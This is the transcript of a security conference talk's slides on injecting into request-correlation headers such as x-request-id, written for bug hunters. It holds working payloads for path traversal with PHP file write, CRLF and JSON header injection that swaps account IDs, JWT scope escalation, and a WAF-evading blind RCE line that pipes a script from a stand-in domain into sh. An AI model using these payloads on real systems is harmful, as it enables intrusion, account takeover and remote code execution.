Upgrade to Pro — share decks privately, control downloads, hide ads and more …

X-Correlation Injections (or How to break serve...

X-Correlation Injections (or How to break server-side contexts)

Slides from my talk at Midnight Sun CTF in Stockholm on the 15th of June 2024.

Frans Rosén

August 27, 2024
Tweet

More Decks by Frans Rosén

Other Decks in Technology

Transcript

  1. Frans Rosén @fransrosen • Full-time bug hunter • Listen to

    YTCracker - Green Hat • Collab with @avlidienbrunn • I like live-hacking events
  2. Frans Rosén @fransrosen • Full-time bug hunter • Listen to

    YTCracker - Green Hat • Collab with @avlidienbrunn • I like live-hacking events
  3. No standard • x-request-id • x-requestid • request-id • x-correlation-id

    • x-correlationid • x-company-correlation-id • x-company-request-id • x-trace-id • interactionid • x-unique-id • activity-id • x-activity-id • service-transaction-id • ...
  4. Fuzz, but for what? • Problem: Don't know context we

    end up in • Solution: Multiple tactics, blind or trigger error
  5. 1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id:

    ' " % & > [ ${ $( ` ; \ Do regular testing while having it there
  6. 1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id:

    ' " % & > [ ${ $( ` ; \ Do regular testing while having it there Weird things happen occasionally:
  7. 1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id:

    ' " % & > [ ${ $( ` ; \ Do regular testing while having it there Weird things happen occasionally: FUN! NOW
 LET'S UNDERSTAND
 WHY/WHAT
  8. False positives • Request-ID is validated against a pattern, for

    example:
 
 ^[a-f0-9-]{36}$ • Request-ID not allowed at all
  9. What we found Path traverse / arbitrary fi le write


    
 x-request-id: 123-456-789
 
 Dumped metrics to /tmp/trace-data/123-456-789 containing the request-id itself
  10. What we found Path traverse / arbitrary fi le write


    
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php
  11. What we found Path traverse / arbitrary fi le write


    
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php
 
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself
  12. Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php


    
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself What we found
  13. Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php


    
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself What we found
  14. What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request

    fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service

  15. What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request

    fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 x-account: 456
 x-account: 123
  16. What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request

    fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 x-account: 456
 x-account: 123 Account 456 fetched instead!
  17. What we found Header-injection with Java (\u010d -> \u000d)
 


    x-request-id: 1%c4%8d%c4%8anew-header: foo
 

  18. What we found Header-injection with Java (\u010d -> \u000d)
 


    x-request-id: 1%c4%8d%c4%8anew-header: foo
 
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 new-header: foo
 Connection: close
  19. What we found https://x.com/irsdl/status/1338097015188819969 Header-injection with Java (\u010d -> \u000d),

    thank you @irsdl!
 
 x-request-id: 1%c4%8d%c4%8anew-header: foo
 
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 new-header: foo
 Connection: close
  20. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service

  21. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
  22. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
  23. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}} Account 456 fetched instead!
  24. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context
  25. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context
 

  26. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 

  27. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 
 id: 1"}x}} -> Error 
 id: 1"}}x} -> Error
 id: 1"}}}x -> premature ending OK
  28. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 
 id: 1"}x}} -> Error 
 id: 1"}}x} -> Error
 id: 1"}}}x -> premature ending OK • Does it allow duplicate properties?
  29. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 

  30. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"INJECTION 1",
 "id":"1234",
 "trace":""INJECTION 2"
 }

  31. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }

  32. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }
 Result:
  33. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }
 Result:
  34. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 

  35. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 

  36. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 

  37. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 
 Quirk:
 Arbitrary fi elds not allowed.
 "Conditions" is allowed but ignored
  38. Other places to look for it • S3-upload policies •

    JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 

  39. Other places to look for it • S3-upload policies •

    JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 
 Username: frans","scope":"admin

  40. Other places to look for it • S3-upload policies •

    JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 
 Username: frans","scope":"admin
 
 Result:
 
 {"jti":"...","iss":"web","scope":"read","user":"frans","scope":"admin"}
  41. 2. Fuzz blindly We need Out-of-Band triggers to know
 


    x-request-id: BLIND XSS
 x-request-id: OOB RCE / BLIND RCE
 x-request-id: SQL inj with DNS
 x-request-id: log4shell
 x-request-id: make your own adventure
  42. Optimizing OOB/Blind RCE • As few special chars as possible

    • Support:
 
 $ `foo injection`
 $ foo 'injection'
 $ foo "injection"
 $ foo injection
  43. Optimizing OOB/Blind RCE • As few special chars as possible

    • Support:
 
 $ `foo injection`
 $ foo 'injection'
 $ foo "injection"
 $ foo injection • Collect data when triggered
  44. Optimizing OOB/Blind RCE • ${IFS} often captured by WAF, $IFS

    is not? • Avoid spaces Result: '`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)
  45. Conclusion • Correlation headers expands attack surface • Fuzz using

    errors and blind • JSON-injection more common than expected
  46. Conclusion • Correlation headers expands attack surface • Fuzz using

    errors and blind • JSON-injection more common than expected • Let me know if you fi nd a new context to inject into!
  47. Frans Rosén, @fransrosen, Midnight Sun 2024 Thank you! Any Q?

    x-correlation inject"},"ion":"s or How to break server-side contexts